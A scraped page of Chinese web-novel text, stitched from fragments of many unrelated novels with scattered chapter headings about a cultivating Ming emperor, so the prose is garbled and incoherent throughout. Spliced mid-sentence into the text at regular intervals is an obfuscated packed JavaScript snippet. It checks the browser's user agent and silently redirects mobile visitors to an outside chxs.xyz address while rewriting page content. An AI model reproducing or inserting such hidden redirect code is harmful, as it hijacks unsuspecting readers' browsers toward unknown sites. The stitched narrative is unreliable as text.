“这?是有人渡劫?”方丈见到如此场景,心中马上想起以前云中子渡劫的状况,反应过来。但是,这放生池里面怎么会有够修为渡劫之人呢? “别这么说,你都不知道我心里这会儿多难受。”裴辰阳满脸抑郁。 “我法宝炼制失败了。”她很郁闷,一屁股坐在床上,摸着爽滑的丝绸心中愁绪满天。 苏暖的视线一瞥,刚刚吼完话的嘴巴还没有来得及闭上,便张的更大了。 龙子炎对她是非常好的,她会被欺负,这根本就不关龙子炎的事。 公司虽然不知道该怎么办,却也是在找人,可找了一天了,根本没找到人。 她听到动静,以为是唐煜回来,但是一睁开眼,就看到三个男人站在浴室门口。 “吓了一跳吧!”郑麒麟很满意他的反应,毕竟当初他也这样被吓过一次。 此刻,在大军之后,却是弘农王刘辩,偷偷的看着这宏大的场面,刘辩目光之中充满了激动,心中不由得感慨,如果是我大汉能够有如此军队,恐怕是未必能够让天下诸侯四起,天下必定安康,可惜,现在已经是来不及了。 见状,林峰拉开车门,下了车,不多时,面包车便就驶了过来,稳稳的停靠在了一旁。 “那行,我也想看看这套完整的掌法,究竟会有什么样的威力!”乔锋哈哈一笑,随后便走至一旁,两掌微抬,开始一招一招的演练起来。 而李进李子善者为斩杀了吕布的名将,本来刘备打算让他好好学学一番再派上用途,没想到,李进直接参加了今年初的公民考核,并轻而易举拿了个优良,为了实现自己对他的承诺,让他积累军功,刘备只好同意他参加南征。 赵斌诚恳的点点头,一个劲打包票,一定一个不少的把孙曼她们都带回来,宋大妈这才稍稍放心。 众将正疑惑间,忽听一声如雷的呐喊“呼嗨”,转头看看城外,只见盾兵已立住脚跟,原地踏步着。 不过,刚才翻滚中的惊鸿一瞥,林峰却是已经基本确定了五人的方位,现在,就看能不能成功的狙杀对方? 心道要不是他急中生智,turán搬出这么恶心的馊点子,估计明天要一起受罚了。 由于那一众彪悍青年体型太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669432|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过壮硕,相聚站在一起看上去跟一堵高墙一般,所以也挡住了炎鼎天的视线,所以当那红色身影从那一众壮硕青年中走出来的时候,炎鼎天才真正的看清了那红色身影的模样。 “那个,既然起来了,那就不要这么萎靡了,来,拿自己的队服吧!”陈凯说着将包打开,全是篮球服,而且是看着让人热血澎湃的篮球服。 被打中的保镖只是稍稍的一抹,就立马追了过来,看来,这样的打对于这种挨打挨习惯的人来说完全没有任何的特别了。 这也是那血雷鲸见远古神猿实力惊人,这才没有攻击,否则,它哪里会与别人讲起道理? “哎!老袁!你去那一趟!”陈树恒捅了一下袁天宇,朝着远处一处建筑努努嘴。 在各路大神高手的表演下600黄巾军变成积分。众玩家欢呼一声向后营的辎重而去,砍辎重是个不养眼的活,这玩意都是木制的,耐久很高但是没人操作不能攻击,玩家们纷纷边看边聊。 既然有着阵眼的存在,那么就说明这险地不是天生蕴含的,而是后天被人布置在这里的,犹如陷阱一般。 正当他提心吊胆防备着这二十四人突起发难的时候,对面的班长冥羽终于止住了众人的议论,而将话锋转到了这边。 这一下,看到叶晴歌那惊慌失措的样子,轮到赵九歌大笑了起来,感受到赵九歌的笑声以及那朵曼陀罗花的消失,叶晴歌这下也变的恼羞成怒了起来。 跟炮大有的自报家门不同的是蓝河等人“草民蓝河等拜见卢中郎。”众人施 礼。卢植微笑着让众人落座,刘备也在卢植的示意下坐下。 而现在纵横交错的四条玄金铁链,则是束缚着一道身影的手脚,竟然是硬生生的捆绑着,拉扯在了那座寒泉的上空。 rg。rg 第二百一十四章 一派之尊! 一个合格的上位者,是能让自己的下属,感受到依靠与信赖,是万事艰难,只要上位出面,任何难题和困扰,都会迎刃而解的。 而嘉靖,一直以来给刘权等人营造的形象,就是这样一个上位者。 也是他从第一次在“黑风寨”的山寨里,决心留下来,心中所下定的决心和目标。 起初的嘉靖,他只是个身躯残破的凡人 但是还没等到他走多远,就感觉到有一股极其危险的感觉出现在他的心里。 青普和尚在一旁嘲讽道,他与玄阳两个八阶强者都没能解决此事,本就感觉有些丢了面子,此刻看许羡出风头,顿时不爽道。 墨冠这时才将目光,放在一旁蹲在角落里,缩成团的合欢宗弟子,笑吟吟的走了过去。 云云咬牙,她取出赤火蛟的妖丹,妖丹所散发出来的热息,使得木屋前的空地温度上升了一些。 温惜在病房里面,她看到风沁雅的时候就会出去,因为即使她不出去,陆卿寒也会让她‘暂时’离开病房的。 众人你一言我一语,好不热闹,根本停不下来,而此刻,只有角落处一人,静静的看着大家你来我往,沉默不语。 一口气来到酒店的天台上,吴天合气喘吁吁爬上来,果然看到于娜仰望夜空的背影。 但是听工作人员说资料全都在施耐德部长那里,他又只好硬着头皮去了。 台下的明星们相继起身,整理好自己的仪态,各自准备打道回府。 先看看他想干什么吧,选拔之事,不能耽搁,派十名武王境过来守着,我们先回去主持选拔的事情。”侯三思索了一下,开口道。 我看着满屋锦绣,香气缭绕,有些眼花缭乱,最重要的是,眼睛不知道被什么刺痛似的,总想流眼泪。 深宫里,湘湘回来两天了,她一直没敢在贤妃跟前晃悠,生怕贤妃再次赶自己走。 “平阳少主自去吧!我出去转一圈,去看看能不能发现什么有用的消息。”龙千吟觉得自己现在不管坐在哪里,心里都咯得慌,还不如到外边走一走。 屏风后未灭的烛火,映出来的光影,陡然一跳。那上面有一团很丑的肉球,瞧起来同这精致的屏风格外不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669433|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等对,甚至显得有些凄凉。 院依旧安静。冷瞪大了眼睛看着。身子却一动不动。连呼吸也放得极慢。沒有得到冷亦修的吩咐。他不敢轻举妄动。 龙千绝微微低下头,只有一个指头的距离,他就能碰到那诱人的红唇了,蓝子悦微微抬了一下头,这对于龙千绝来说,无疑是邀请,龙千绝大手一挥,在他们背后设下了障目阵法。 我怎么会不记得,凡间长曜之国赵以清那张长得同拂灵九分相像的脸。 方雨涵见事情已办妥,也就不打扰他们姐弟二人了,倒是临走前递给了苏洛昀一个意味深长的眼神,让洛昀怔愣了好半晌。 后来,宫里的人只知道皇上一日下朝后去了许久未有踏足的延禧宫,但没多久就出来了。次日,永和宫里养病的德妃就开了宫门,而前几日还好端端的惠妃娘娘却突然着了风寒。 头盔压着他额头,乌发拢在里面,露出一张玉色而带着威严的脸,他的眉粗而长,眉梢长长的飞扬开去,像雄鹰展开的翅膀,一双眼睛波光闪动,仿佛把满天的星光都收于眼中,薄唇紧抿,绷成刀锋的线条。 第二百一十五章 弟子,群臣:求求了,请皇上收下臣等的本命吧!抄宗! 《仙明本纪·仙宗卷》记载:
“嘉靖六十年,七月十五,帝任第二代掌门人。嘉靖六十年,七月二十,帝敕封独孤东来,李鱼,徐时行,丰胜,刘薇为掌门亲传。”
时间匆匆,距离独孤英和独孤雄的葬礼已经过去了三个月的时间。
时间也来到了大明历,嘉靖六十年,十月。
三个月的时间,大明仙宗却是由
不过多年交情,顾见骊知道龙瑜君是真的希望她去,这帖子并不是面子事儿。既然新娘子希望她去,她自然是要去的。
这个时候阮萤又觉得自己亏了,她刚刚哪里需要保镖挡,还不如自己把她手里的盒子打掉,反正现在她自己碰瓷,看上去还是她当了恶人。
魏泓笑着起身,在她唇边最后亲吻一下,又随手扯过一件衣裳将她手上先擦了擦,这才让下人打了水进来。
他睁开眼时自己也愣了一下,反应过来后笑了笑,又深深吸了口气,汲取她身上特有的淡香。
我眉目温婉,在外人看来略带娇羞的一直垂着眸,躲开各方探究的视线,却也不去看怀中人玩味的笑。
杜如吟的眼神是那样怨毒,怨毒当中又带了几分得意,疏影被按在了矮凳上,然后板子毫不留情的,一下一下,重重砸到她的身上,血慢慢的染红了她嫩黄的衣裙。
仔细辨别,这怪笑声有点像乌鸦的叫声,又有点像猫头鹰的啼鸣。
所以这次因为‘龙脉’的消息泄漏,引来了许多心怀叵测之人,老朽当机立断,立刻带人以卧底的身份打入这伙坏蛋的内部,目的就是要见机行事,阻止这些不法之徒,坚决捍卫龙门的一切财产!”白胡子老爷爷很严肃地说。
接下来,他就对着角落里的唐徨连环出拳,展开了一轮疾风骤雨般的攻势。
整个轩辕世家都炸了,大家都想看看,这个楚涛,到底是什么模样。
这个时候,终于有人反映了过来,举起手中的枪朝那个鳄鱼头一通扫射。鳄鱼头骨虽然很硬,但是却硬不过子弹,它的头被打成了漏筛,咬住那个队员的双鄂放松了下来。
“人类的公敌,恐怕有不下上百万的修士,都恨不得抓住这个家伙。”青年回答,讲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669434|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很认真。
对视良久,萧易寒执白子,而浩云峥则执黑子,两人开始了落子拼斗。
他离开林家有一段日子了,这段时间里。肯定或多或少堆积了一些公务,他总得看看最近林家是否发生什么大事。
看着从桌上滴答滴答滴下的咖啡,唯一觉得眼前灰茫茫一片,就像这咖啡的颜色,就像自己的心,黑暗得找不到方向。
陈衔‘玉’一时‘混’‘乱’,顿时觉得庄巧郎刚才的大笑声也是走火入魔的征兆。
说是追杀与受通缉或许有些夸张,可是,被“她”追逐,真是不如被追杀或者受通缉呢。
我听着暗自摇头,幽灵之说早已推翻了数次,先不说陈宏御的葬处已经被我们盗掘,尸骨都被守墓的黑湖绍打烂了。就说那‘梦真’见我的鬼玺不但不躲,还意图抢夺便证明这东西肯定不是尸鬼一流。
明明喜欢住这样的地方,却只能在随便建造的院子里对付,何不是憋坏了?
你看,全世界都觉得你我是如此的不配,而我还是不要脸的将你此刻在节目里说的话,当成是告白。 第二百一十六章 黑风往事:刘权篇,大明所照,央无数天下! 嘉靖这次是真的来兴趣了。 若是此前,他最多就是觉得,这东西能被李长卿特殊对待,还用灵器盛装,收藏。 要么是来历不凡之物,要么就是有特殊意义。 可是直到此时,看到这几乎相同模样的一块凡人脊椎骨,还被放在黄风谷的宝库里珍藏,那基本上就能排除李长卿私人物品的可能了。 这东西,很明显 这一天,红袍被万化老人传到万化神庭,这里是万化教的核心地方,里面是万化教无数年沉淀下来的东西,宝物堆成山,随便一件宝贝流传至外界,都会引起轩然大~波。 身体强悍的林枫在刚才力量与力量对碰的对招中,除开血气有些晃荡之外,根本没有其他不适,至于手中的灵力虽然有些晃动,但是终究是没有丝毫溃散,这主要还是因为林枫对五彩灵力的掌控不够。 “我跟怀明是老同学,你叫他伯伯,叫我大哥,可有点儿乱辈分了。”郭振伟一边开车,一边说道。 让茉莉咬碎银牙的是,海族五行族泰坦族等本来和人族素无恩怨的种族也耐不住那半成资源的诱惑,犹豫着也站了出来。 而此次只能靠他自己,不过与上次不同的是,现在的他功力也是提升了许多,不过在医治之前,他依旧没有多大的把握,只能是尽力去试试吧。 修炼室中,信天迅平静下来,深吸一口气后,直接拿出十枚五行灵石全力吸收起来。 “我现在把你解开,你坐下说吧。”韩轲从白蕊的眼神中也看出了她说这话时的诚意,判定她也是没有了要逃跑的迹象,这才开口说道。 “是,晚辈的确修习过太乙心经”苏怀说道,心中却是翻起了波澜,未曾想到这太乙心经竟是出自玄黄洞。 韩轲疑惑的问道:“为什么?”他奇怪孟骊为什么这样说,自己现在是比不上他,但是那个冥兵,他也定不住灵魂呀,他当时也就定住了那几个警察和医生。 荒之分身无论用巨尾还是蹄爪,甚至是御使出来的灵力攻击,根本就打不到暗夜分毫,完全成了一个被频繁攻击的肉靶。 鬼使神差地,我拿起手机,打开看了一眼,然后我头皮就一阵阵发麻。 我赶忙握住他,氧气罩下面他张了张嘴要说什么,我拿开氧气罩,凑过去听。 刘元浩这么一说,顿时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669435|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队伍里的其他人,也都明白了过来,明白了对方禁人的策略。 我突然觉得有些怪异,可想了想最后只是淡淡说了一句:“谢谢。”便入了浴室洗漱。 卫宫里这时到处都是暴民,洛言也带着贤士们冲进去寻卫太子,所以说根本就没有什么僻静之处。 可是这个叫做花城的大夫却好像根本不受司空琰绯的影响,依然我行我素。 而且詹东的律师我们也认识,自然也是提前托他打了一通电话给詹东的舅舅来让二老出来一趟。 瞳孔放大了好几倍,萧紫甜的眸底是一片深深的绝望,慕影辰就是个混蛋。 我知道骆安歌这是要公开我们的关系了,他很明白不管外界如何反应,关键还是在他的家人,所以他带我来见他的爷爷外公等人。 是的,泰西人现在就想和这两国联系上,然后告示他们,我们是朋友。 月出云开口便唱,随着四句完全没有违和感的诗句从他口中冒出来,倾城与素素同时放心下来。不过如倾城素素这般,却是听着这四句诗有些疑惑,为何每一句听着都颇为难得,可连在一起却给人一种不是出自从一首诗一般? 第二百一十七章 紫薇星域,朱雀古朝,误会?回大明,种矿脉 “……大明所照,央无数天下,幽冥之处皆常大明……”听到嘉靖这一番话后,宋薪柴瞳孔收缩,呼吸也不由跟着急促起来。 宗门雅章,他如何能不记得? 只是让他没有想到的是,原来大明雅章还有如此寓意。 尤其是看着眼前,从始至终都表现出一副从容模样的嘉靖,莫名的他心中涌现出了一股前所未有的信念, 关晓军在昨天便已经给杂志社打了电话,告诉他们今天要过来的消息,此时整个杂志社的工作人员都惊动了,全都想看看这个引发了单位争议的孩子到底长的什么样子。 可是,做生意一向最精的宋老板,怎么肯花三万两银子买块王牌?莫非他也疯了? “很……霸气的名字,不过叫起来太奇怪了。”言夏夏很中肯地评价。 这个时候,张虚圣显然不会无缘无故的问起玄灵老祖,在交出阴界控制权后,玄灵老祖已经没有作用了。 不过那都是过去的事情了,现在已经过去了几十年,有什么事情,放到现在,基本上也就没人会记得了。 “你你你你你!”沈二老爷看着沈依依已然松开的双手,震惊无比。 公孙浩领着叶九灵上了二楼,琉璃在一旁跟随,而傅宣的目光却暗暗的将叶九灵上上下下打量了好几番,似乎想要找寻些什么。 他的腰就像是已突然折断,突然向后弯曲。剑光点着他的胸膛刺过。他的人已倒窜而出,一脚踢向握剑的手腕。 之前还说新世界不是完美的,可是看看现在现场玩家们的反应,甚至比巨星的演唱会还要疯狂。这个效果,估计比八神一直在台上还要好。 “既然不是很喜欢,就不要吃了。”说着季宁伸手将叶九灵手中的半块糕点拿了过来,仍进了食盒,最后丢在了厨房的角落,顺道还拿了一些例子过来,与叶九灵同食。 冷风走了,但周围人并没有这样而去少关注王寻和这个老人,这样的老怪物可很少显世的。 晚上的时候,城畔生和空青趁着夜色直接窜出了城家,看到门口的几个监视者的时候尊势一上便将人震晕了过去。 湿热的丛林里,一行人飞速的在其间移动,某只正在啃干果的啮齿类冷不丁被一只手抹了把,浑身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669436|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸毛的窜出老远,但仔细看哪里有什么人影,除了一缕清风。 刚走到门口,她却看到家里的灯已经亮了,说明已经有人进去了。 她留着齐耳白色短发,一手拿着一柄古老的法杖,一手端着一本古老的典籍,身体被一层白色的能量罩保护着。 威武雄壮,气吞山河,马踏天下,仿佛整个太岁天都在他们脚下。 “对,换弹匣。”经过短暂的茫然后,铃当立刻反应过来,刚才林杰已经说过,常规弹药无法击伤这怪物,只有使用具有强大穿透力的高级穿甲弹才能对他起效。 虽看似有些规律可循,但又无法捕捉到那种规律,只是有一种言不清道不明的感觉,待仔细琢磨之下,那种感觉又消失不见,心中那种上不来下不去的感觉,一时堵在心口,似连呼吸都有些困难。 在后来的战斗中,经由先后两位武神出手这才将那龙鲤给击败,带回了泓溪之城。初代的天武黑甲设计时,设计师们便将龙鲤的御劲元素首要纳入了研究攻坚方向。 “看你的样子有所收获吧。”云逸飞上前说道,化解了尴尬的气氛。 第二百一十八章 问题初显:资源分配不均了?有新的皇子了 “地龙翻身吗?” 如今修为也已经到了练气四层的胡宗宪,看着下方的这一幕,不由惊讶出声。 而在他身旁,修为同样达到练气四层的俞大猷,看着下方大地上裂开的豁口,也是倒抽了一口气,至于王崇古,倒算是冷静许多。 毕竟当年“葬灭阴山”一战,大地裂开的豁口可比眼前的要大得多,而且他更是亲眼目睹 让叶双双隐隐有一种在这种祝福之下,她可能和叶天真的能够一生一世甚至生生世世都在一起的感觉。 见到夏野死到临头,竟然还在嘴硬,宁远嘴角之上,就扬起一抹残忍的笑意。 沈安来自于信息大爆炸的时代,各种信息交织着。论知识的庞杂,两个富弼加起来也比不过他。 “你起来这么早。”吕粒和林寂打过招呼,坐到了准备吃早饭的木桌子前,客栈养的一直土狗浑身湿漉漉的从她脚边走过去,拿眼神一直瞄着她。 陆振杨没看明白是怎么回事,活了大半辈子,参加的婚礼也不少,从没见过这种开场。 说这些时,林寂眸子里似乎像在向往着什么,眼神中带着说不出的温和柔情。 又生怕阮琦误会忙解释说,不是他采的药草不够好,是因为王掌柜看上去很烦恼,像是要出趟远门。 毕竟,当初那巨大人脸的老者,可是十分嚣张,在林南斩杀青冥十二子的元序时,甚至还对林南出手。 再次出现杯子的粉碎声,苏彦疑惑转头,冷不丁地看到黎越泽正怔怔地看着自己,目光呆滞,嘴巴圆圆地简直能塞进去一个鸡蛋。 林河并没有骑马,只是提着骑士剑跟我决斗,连盾牌都扔在了一旁。 我伸头看了看里面,果然,现在只还剩下5个pc战士了,另外的那几个应该都在昨天晚上我睡觉的时候挂掉了。 应邀进入皇宫,与司马青对面而坐,尚扶苏浅笑抬头,跟他问了一句。 两人的这盘棋,已不是争斗,而是……名副其实的手谈,只不过,一人是先生,一人,是学生。 望帝目光渐渐冷厉,兰溪被他瞪得心里一跳,暗想这男人果真多变。 众人都把注意力放在了前堂。自然不会注意,有几个穿了夜行衣的身影。撬开了后院的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669437|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,顺着墙攀上了二楼,钻过窗户,进到了棋社里面。 打得很顺利,r不落明显是个指挥的好手,近两千的玩家在他的指令下井井有条的展开了围剿,致使风流大少和狂战的人很少有能够逃出去的,一个个都拼命的相往网上撞,但是往往结果都是头破血流。 修哲仰天狂吼,疯狂的向赵炎跑去,因为赵炎的镇定,使他的步伐也是谨慎不已。他可不敢保证,赵炎还有没有什么其他的招式。 咱们的故事,也就从这一阵阵车轱辘声中,在那半掩容颜的冰冷美人的玉葱指上,缓缓开始。 众人视线之中的姜伯毅却在这时,忽而从袖中拿出一对水头极足的‘玉’佩。两枚‘玉’佩刚好可以拼成胡蝶的形状。 “不是,她也许是感觉到了不公平了。云峰,我们没有办法去怪晓溪什么,因为错在我们。我们现在很被动,我有点担心她会把事情捅出来。”芸姐的脸上有着很浓的担心。 纷飞全程一句话都没有说,双眼噙着眼泪,心里暗暗自语。傻孩子,你是在怪母亲吗,在惩罚母亲吗?在用这种鱼死网破的办法得到自己的幸福吗? 第二百一十九章 层级森严?皇上始终要的是‘稳\’! “我倒是觉得可行。” 听到胡宗宪的提议,不等严嵩松开口,严世蕃当先说道:“不过就算收编了整个蒙古草原,资源也要对半分。” 听到严世蕃这话,胡宗宪的眉头一皱。 他算是看出来,严世蕃根本就没有打算好好谈,或者说即便他心里明白,现如今大明存在资源分配上的矛盾,他本能就是贪。 “若是 “林玉树是你什么人?”我并没有伸手接过他递过来的香烟,而是面无表情的看着李志勇问道。 想起何雅我真的无能为力,也不知道方婷这个时候在哪里在干嘛?不知道她有没有一点关于孙耗那王八蛋的讯息。 这滴鲜血就像滴落在平静湖面的一颗石头,整个空间产生了一阵涟漪,向四周扩散了一圈。 所以大梁的历史并不枯燥,这些耳熟能详的东西对于王彦来说,很新奇,非常有意思。 杨锦心看着她,顿了一下,挪动了一下身体,靠得更近一些,也伸手帮她一起拧衣服上的水。 然而,让宫奈意外的事情还不止这样,但见云河走到坟前,慢慢闭起眼睛,他似乎在用心念在感应什么。 我看着西西的背影,无语地摇了摇头,就她这性格要是以后真和表弟在一起,又得表弟受的。 巴尔斯瞪大双眼,盯着眼前那个黑灰色的木盒,竟然有一种似曾相识之感。他抬手拿起一把匕首,轻轻挑开了木盒的盖子。 杨锦心自然知道,自己已经引起了秦慕阳的怀疑,但她已经不得不说下去,于是索性开始滔滔不绝,再不问他。 俗话说病来如山倒,纵是有太医院一众高超名医调理,皇上还是倒在床上无法起身了,虽然吃东西说话都还自如,但是要是还想硬撑着上朝却是实在难以做到了。 上台将护腕拿到手,王楚观察了一下,老觉得这护腕很是眼熟,但又想不起在什么地方见过。 我不知道续命丹是怎么炼成的,我只知道,服下续命丹的妹妹,在之后的一年里再也没有发过一次病。 他明确的记得,纪录片里说过萧后携隋炀帝孙杨政道及传国玺遁入漠北突厥,还建立了一个叫做“后隋”的政权,直到李唐一统天下后,才带着传国玉玺归降唐朝。 要活命就说实话吧,不过也不可全说实话,暂时可隐瞒者必须隐瞒,毕竟玉带党本是隐蔽活动的一个尽忠朝庭的组织,而如今更是属于地下活动。 “也没什么大不了的,半个月前有一个叫做秋沂水的人来到了银月赌坊,你可知道?”王楚问道。 剑履上殿、赞拜不名这种事情只有董卓才能干得出来,刘成可不想背负这种名声,对皇帝该有的礼节他是一样不少,这就跟主动开口跟别人打招呼一样,也就是动动嘴皮子的事情,吃不了多大的亏。 “去吧去吧,这几天新来的人比较多,老头我连个觉都睡不好,赶紧滚蛋。”王老不耐烦的道。 他有点想告诉眼前的人,自己不仅也有星星,而且有整整三颗,不仅有三颗,更是有先天灵宝紫微的主星紫微星!不过最终还是忍住了没说。 赵明轶接下来就把数量最多的他们作为班长的存在,成为一个编制。 安老师尽管住进了医院,经过了即时抢救,也出现了意识,可是经过医生反复会诊,还是拿不出准确的病情诊断,只做继续观察的暂时应对处理。 刘三咬了咬自己的牙齿,他会记住的。总有一天他会报复回来的!随后楚衅就拿出来了自己身上的这些合约,放到了这个家伙的面前。 芩谷不知道在空中旋转了多少圈,最后真如同一只苍蝇一样被拍在一堵石壁上,然后哧溜一声,顺着石壁滑落到地面。 而就算这个蛇妖是个傻子,那孟瑶这次也会引导着她,让她不再做个傻子。 事到如今也只能是走一步看一步了,杨毅点点头,问福曼把马拴在那了,他们要赶紧回驿馆换上礼服参加舞会,福曼带着杨毅想右边偏僻的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669438|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方走去,来到一口枯井旁边,就见艾琳娜哆嗦着牵着两匹马在等待。 一个从来没有过的庞大帝国出现了,紧接着,杨毅要制定法律,礼仪,军队……千头万绪,而汉诺威城整整狂欢了半个月。 “傻瓜,这事我来处理就行,你放心,你在哪天钰哥就在哪”叶天捏了捏郑士心的鼻子,温柔的说道。 之前的故障就像只是一个错觉,后面还有好多排着队等着进入里面的人对此更是毫无所决。 芩谷没想到对方这个时候首先注意到的是自己,如此关心自己,心中暖暖的,也不枉她额外接下这个单子。 “没有,故事到这就结束了,没人再提起那个魔法师,似乎皇子和皇后也没派人去找那个魔法师。”安德烈老老实实的回答。 陈锦跟冥渊起床的时候都打着哈欠,吃早餐也一副没精神的样子,冥辰皱了皱眉。 沉吟了片刻,李灿将那朵花儿放到了吧台上,插进了奶茶杯子里。 徐荣自打在徐州军营养伤,数个月来一直是以客卿的自居,除了上一次帮糜芳拦住鲍信的追兵外,再无动静,不想今日却来主动献上破敌之法? 靠着这一波节奏上的优势,洛 杉矶湖人在上半场以60比46领先对手,下半场余欢降下了球队的进攻节奏。在节奏控制上,余欢有着非常敏锐的感觉,这一点他从来不需要清清提醒。这可能是余欢天生具备的一种天赋。 “晚辈虽然修为低微,但对这些还非常清楚的。”张离恭敬的回道。 罗刹公主的修为本来就是众人当中最为强大的一个,即便她在失去肉身后变弱了许多,但同时与帝释天和余化交手,都没落了下风。 “毛球豆豆,你俩要不要一块去吃点东西?”到了门口,苏茜方才朝着门内喊道。 迈克-德安东尼觉得科比-布莱恩特选择了一条最艰难的路,他在最后还来找余欢确定了一下,明天的比赛战术是不是按照常规战术进行。 第二百二十章 宗门这种修仙团体就是不稳定因素!大明第一台本命移植手术? 朝廷的政令很快下达。 一时间,三大营中的将士可谓是议论纷纷,嗯,更多的还是怨念纷纷。因为他们已经知道,皇上之所以下令取消三大营军的灵物资源,完全是因为内阁三老不会说话,惹恼了皇上。 对于军中大部分将士来说,仙武法的发放,对他们可谓是有着非同一般的意义。 虽然说现如今朝廷已经对全天下 “娃子,别耍花样,老汉知道你们都是一等一的高手,头回过去,排成排,往前走!”老羊挺鬼道,赶紧往后退了几步,拿着枪对准了他们的后背。 梁飞反而轻松了,该面对的迟早要面对,正如牛素素所说,在这个时候发现这种事,不是件坏事,所以梁飞一定要振作起来,明天把农场所有不好的员工全部开了,再招些可靠的人进来。 梁飞好心相劝,按理说,他们都是大男人,梁飞作为上司,也作为马瑞轩的好友,不应该说这些许,可是梁飞却怎么也看不过,一心想要让马瑞轩放下这个心结。 还有老头子突然急匆匆的离开,也让陈锋感觉到了一股前所未有的压力,以前有老头子在的时候,就算天塌下来,也有他去顶着,陈锋一点压力也没有,但是现在陈锋只能靠自己了。 “五郎明白,哪怕只有一线的希望,我都不会放弃娘子,陈公子,我可以用我的命去换回我娘子的命。”五郎大声的道。 只看到周遭迸发出一股可怕无比的魔气,骇然气势喷涌而出,宛若神魔降临那般无匹。 听到刘静的口气,李鸿飞心中憋着一口恶气。论资历他比刘静要老的多,就因为刘静是海外洪门总部的人,而且是形意宗师陆林深的弟子就可以对他颐指气使,训的他一点脾气也没有,实在令人憋屈。 陈锋一边说,一边在观察这些人的反应,看看有没有人还有反骨的,也好等下收拾他们,停顿了一会儿后,陈锋才满意的继续道。 秦凡暗暗咋舌,没想到雷五爷身边一个老管家都是暗劲大成的国术高手,要是再进一步踏入化劲就是一代宗师,可以开山立派了。 之所以是这样的格局也是因为十大兽族战士的结果,这十位高手数量太多,即使关阳已经是副团长了,从九人中选出四人担任堂主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 